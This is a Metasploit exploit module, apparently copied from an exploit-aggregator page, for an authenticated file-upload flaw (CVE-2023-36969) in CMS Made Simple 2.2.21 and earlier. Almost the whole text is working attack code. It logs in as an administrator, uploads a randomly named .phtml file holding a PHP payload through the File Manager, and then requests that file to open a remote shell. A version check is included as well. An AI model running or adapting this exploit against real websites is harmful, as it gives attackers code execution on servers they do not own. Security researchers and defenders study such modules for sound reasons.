Share
## https://sploitus.com/exploit?id=PACKETSTORM:190114
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::PhpEXE
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'CmsMadeSimple Authenticated File Manager RCE',
            'Description' => %q{
              CMS Made Simple <= v2.2.21 allows an authenticated administrator to upload files
              with the .phar or .phtml extensions, enabling execution of PHP code
              leading to RCE. The file can be executed by accessing its URL in the
              /uploads/ directory.
    
              Tested on v2.2.21, v2.2.18, v2.2.17, v2.2.16, v2.2.15, v2.2.14.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'Okan Kurtuluş',	# Initial research
              'Mirabbas Ağalarov',	# EDB PoC
              'tastyrice'	# Metasploit Module
            ],
            'References' => [
              ['CVE', '2023-36969'],
              ['EDB', '51600']
            ],
            'Platform' => ['php'],
            'Arch' => ARCH_PHP,
            'Targets' => [
              [
                'Universal', {}
              ]
            ],
            'Privileged' => false,
            'DisclosureDate' => '2023-06-07',
            'DefaultTarget' => 0,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'Base directory path for cmsms', '/']),
            OptString.new('USERNAME', [true, 'Username to authenticate with', '']),
            OptString.new('PASSWORD', [true, 'Password to authenticate with', ''])
          ]
        )
      end
    
      def multipart_form_data(uri, data, message)
        send_request_cgi(
          'uri' => normalize_uri(target_uri.path, 'admin', uri),
          'method' => 'POST',
          'data' => data,
          'ctype' => "multipart/form-data; boundary=#{message.bound}",
          'keep_cookies' => true
        )
      end
    
      def check
        res = send_request_cgi(
          'uri' => normalize_uri(target_uri.path, '', 'index.php'),
          'method' => 'GET'
        )
        unless res && res.code == 200
          vprint_error('Connection Failed')
          return CheckCode::Unknown
        end
    
        set_cookie = res.get_cookies
        return CheckCode::Safe unless set_cookie&.match?(/^CMSSESSID/)
    
        html = res.get_html_document
        version = Rex::Version.new(html.at('p.copyright-info').text.scan(/\d+\.\d+\.\d+/).first)
        vprint_status("#{peer} - CMS Made Simple Version: #{version}")
    
        return CheckCode::Appears if version <= Rex::Version.new('2.2.21')
    
        CheckCode::Detected
      end
    
      def login
        data = {
          'username' => datastore['USERNAME'],
          'password' => datastore['PASSWORD'],
          'loginsubmit' => 'Submit'
        }
        res = send_request_cgi(
          'uri' => normalize_uri(target_uri.path, 'admin', 'login.php'),
          'method' => 'POST',
          'vars_post' => data,
          'keep_cookies' => true
        )
        fail_with(Failure::NoAccess, 'Authentication was unsuccessful') unless res&.code == 302 && cookie_jar.cookies && res.headers['Location'] =~ %r{/admin$}
    
        store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
        vprint_good("#{peer} - Authentication was successful")
      end
    
      def send_file
        filename = "#{rand_text_alpha(8..12)}.phtml"
        c = cookie_jar.cookies.find { |cookie| cookie.name == '__c' }.value
        payload = get_write_exec_payload(unlink_self: true)
    
        # create the message with payload
        message = Rex::MIME::Message.new
        message.add_part('FileManager,m1_,upload,0', nil, nil, 'form-data; name="mact"')
        message.add_part(c, nil, nil, 'form-data; name="__c"')
        message.add_part('1', nil, nil, 'form-data; name="disable_buffer"')
        message.add_part(payload, nil, nil, "form-data; name=\"m1_files[]\"; filename=\"#{filename}\"")
        data = message.to_s
    
        # send payload
        payload_res = multipart_form_data('moduleinterface.php', data, message)
        fail_with(Failure::UnexpectedReply, 'Failed to upload the file') unless payload_res && payload_res.code == 200
        vprint_good("#{peer} - File uploaded #{filename}")
    
        # open shell
        res = send_request_cgi(
          'uri' => normalize_uri(target_uri.path, 'uploads', filename),
          'method' => 'GET'
        )
        return unless res && res.code == 404
    
        print_error("Shell #{shell_name} not found")
      end
    
      def exploit
        login
        send_file
      end
    end